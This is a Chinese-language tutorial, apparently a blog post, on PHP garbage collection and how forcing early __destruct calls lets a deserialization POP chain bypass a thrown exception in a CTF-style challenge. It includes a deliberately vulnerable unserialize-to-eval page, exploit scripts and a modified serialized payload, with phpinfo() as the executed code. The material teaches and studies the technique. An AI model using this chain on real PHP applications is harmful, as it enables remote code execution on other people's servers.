PHP中的GC回收机制(PHP Garbage Collection)

初识GC

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。当数据被当作垃圾回收之后就相当于把一个程序的结束画上了句号;此时便可以调用_destruct()这个魔术魔方。
PHP官方链接:https://www.php.net/manual/zh/features.gc.collecting-cycles.php

代码分析

此时我们来用代码来演示一下GC回收机制
1:没有任何引用和指向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
$this->num = $num;
echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}

new errorr(1);
$a = new errorr(2);
$b = new errorr(3);
?>

我们可以先猜猜这段代码的运行结果,对象1被创建之后由于没有任何的引用,那么它立即就会被GC回收机制回收掉,从而立即进入到__destruct()中;然后新建一个对象2,并将它赋值给$a,那么现在它是正常的,有引用的;但是这时又新建了一个对象3,并将它赋值给了$b,此时发现没有对$进行引用便会立马将$b销毁掉;最后整个程序正常运行结束,销毁所有对象,于是也就销毁了对象2

此时我们可以看到,当我们new了一个新的对象errorr(1)时,它在触发_construct()后马上就触发了_destruct;
然而后面的两个则是按部就班的执行完后发现没有任何操作才结束的;究其原因是errorr(1)没有进行任何的指向和
引用才会出现这样的情况;刚被创建的时候就马上被当作垃圾回收了,从而马上触发了_dsetruct()
2:没有指向但是在引用时突然指向另一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
$this->num = $num;
echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}

$c = array(new errorr(1),0);
$c[0] = $c[1];
$a = new errorr(2);
$b = new errorr(3);
?>

此时是先创建一个数组c;然后数组c的第一个内容是new errorr(1);第二个内容是0;然后进行一个赋值操作;赋
值完后数组的第一个内容变成了数字0;此时便是舍弃了new errorr(1)这个对象。那么此时在PHP中依旧是将其当作
垃圾进行处理;在触发_construct之后马上触发了_destruct。

此时若是将$c[0] = $c[1]注释掉之后便会按部就班的进行创造和销毁

GC回收机制在POP链中的考法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr0{
public $num;
public function __destruct(){
echo "hello __destruct";
echo $this->num;
}
}
class errorr1{
public $err;
public function __toString()
{
echo "hello __toString";
$this->err->flag();
}
}

class errorr2{
public $err;
public function flag()
{
echo "hello __flag()";
eval($this->err);
}
}


$a=unserialize($_GET['url']);
throw new Exception("天气晴朗太阳崭新继续尝试");

?>

未经过修改的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class errorr0{
public $num;
}
class errorr1{
public $err;
}

class errorr2{
public $err;
}
$a = new errorr0;
$a -> num = new errorr1;
$a -> num -> err = new errorr2;
$a -> num -> err -> err = 'phpinfo()';
echo urlencode(serialize($a));
?>

此时我们按照常理构造出exp之后发现无法触发上述的魔术魔法;究其原因就是throw在其中作祟;我们也会发现也是因为第一个_destruct没有被触发才导致后续的魔术魔方没有被触发;此时我们就需要用到上面讲的GC回收机制
来触发_destruct()
此时我们通过上面对GC回收机制的学习可以知道当一个对象被丢弃或者没有引用或者在引用时突然指向另一个变量时便会触发_destruct;所以此时我们只需要像上面一样添加一行$c = array(0 => $a,1 => NULL)经过修改之后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class errorr0{
public $num;
}
class errorr1{
public $err;
}

class errorr2{
public $err;
}
$a = new errorr0;
$a-> num = new errorr1;
$a -> num -> err = new errorr2;
$a -> num -> err -> err = "phpinfo();";
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

此时的结果是

1
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

重点!将最后的1改为0即可实现GC回收

1
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}


解释:
当我们在exp中添加了$c = array(0 => $a,1 => NULL)此时的作用是定义一个数组;键值为0的赋值$a;键值为1
的赋值NULL,为什么要添加这行代码呢;主要是想让我反序列化出来的东西有两个对象

1
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

此时我们可以看到有两个对象一个是键值为0的一个是键值为1的;此时我们将最后的那个键值为1的对象改为键值为0

1
i:1;N;} --> i:0;N;} 

此时我们便实现了让变量指向了另外一个变量;即为原本变量是指向$a的结果我们最后让它指向了NULL;此时便会实现GC回收机制;触发_destruct()